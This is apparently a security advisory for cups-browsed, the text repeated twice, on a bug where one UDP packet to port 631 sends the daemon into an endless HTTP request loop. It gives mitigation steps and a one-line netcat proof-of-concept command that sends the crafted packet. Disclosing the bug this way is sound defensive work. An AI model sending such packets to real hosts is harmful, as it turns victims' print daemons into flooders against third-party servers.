Update: There is now a separate CVE assigned to this advisory.
The solution (remove CUPS browsing) and quick mitigation (turn off CUPS browsing in cups-browsed.conf) are the same as for CVE-2024-47176, so the methods applied there also cover this one.
Mitigation:
1. Edit /etc/cups/cups-browsed.conf
2. Search for the BrowseRemoteProtocols configuration option
3. Set the option to dnssd (the default value is dnssd cups, remove cups)
4. Restart cups-browsed using sudo systemctl restart cups-browsed
Summary
When cups-browsed, running with the default configuration (on Debian at least), receives a well-formed packet to UDP 631 containing the http port 80 URL of any popular website that just serves redirects on that port, it will send HTTP requests in a tight loop. This does not appear to stop until kill -9.
Details
Example exploit:
printf '00 00 ipp://example.x:80/printers/ "XXlocation" "XXinfo" "XXmake-and-model"\n' | nc -u 192.0.2.1 631`
(example.x is not a real hostname; the IP is fake too; I have tried with a few web servers under my control to verify the behaviour)
PoC
See Details.
Impact
A client doing requests in a tight loop might impact availability of a server. Several such clients together might make it worse.
Relevant details
I have confirmed this behaviour with a packet from an untrusted source over the Internet, in cups-browsed 1.28.17-3 as shipped in Debian 12.
I have also confirmed this behaviour with a packet from localhost in a fresh compile of https://github.com/OpenPrinting/cups-filters on branch 1.x as of just now (commit 2076627)
Additional context
I am aware of recent rumours around RCE in cups-browsed. Based on just public information, I decided to look at cups myself, and quickly noticed that cups-browsed listens to the world in at least some setups. That is how I found this problem.
I suspect, but in no way can currently prove, that the RCE rumours also involve this UDP socket. A lot of code is executed for a received packet that is well-formed.
It would not surprise me if the problem I am reporting here, that is not RCE, has also recently become known to you, either from evilsocket or from somebody else who recently felt inclined to audit parts of CUPS.
Habbie Reporter
Update: There is now a separate CVE assigned to this advisory.
The solution (remove CUPS browsing) and quick mitigation (turn off CUPS browsing in
cups-browsed.conf) are the same as for CVE-2024-47176, so the methods applied there also cover this one.Mitigation:
1. Edit
/etc/cups/cups-browsed.conf2. Search for the
BrowseRemoteProtocolsconfiguration option3. Set the option to
dnssd(the default value isdnssd cups, removecups)4. Restart cups-browsed using
sudo systemctl restart cups-browsedSummary
When cups-browsed, running with the default configuration (on Debian at least), receives a well-formed packet to UDP 631 containing the http port 80 URL of any popular website that just serves redirects on that port, it will send HTTP requests in a tight loop. This does not appear to stop until
kill -9.Details
Example exploit:
(example.x is not a real hostname; the IP is fake too; I have tried with a few web servers under my control to verify the behaviour)
PoC
See Details.
Impact
A client doing requests in a tight loop might impact availability of a server. Several such clients together might make it worse.
Relevant details
I have confirmed this behaviour with a packet from an untrusted source over the Internet, in
cups-browsed1.28.17-3as shipped in Debian 12.I have also confirmed this behaviour with a packet from localhost in a fresh compile of https://github.com/OpenPrinting/cups-filters on branch
1.xas of just now (commit 2076627)Additional context
I am aware of recent rumours around RCE in cups-browsed. Based on just public information, I decided to look at cups myself, and quickly noticed that cups-browsed listens to the world in at least some setups. That is how I found this problem.
I suspect, but in no way can currently prove, that the RCE rumours also involve this UDP socket. A lot of code is executed for a received packet that is well-formed.
It would not surprise me if the problem I am reporting here, that is not RCE, has also recently become known to you, either from
evilsocketor from somebody else who recently felt inclined to audit parts of CUPS.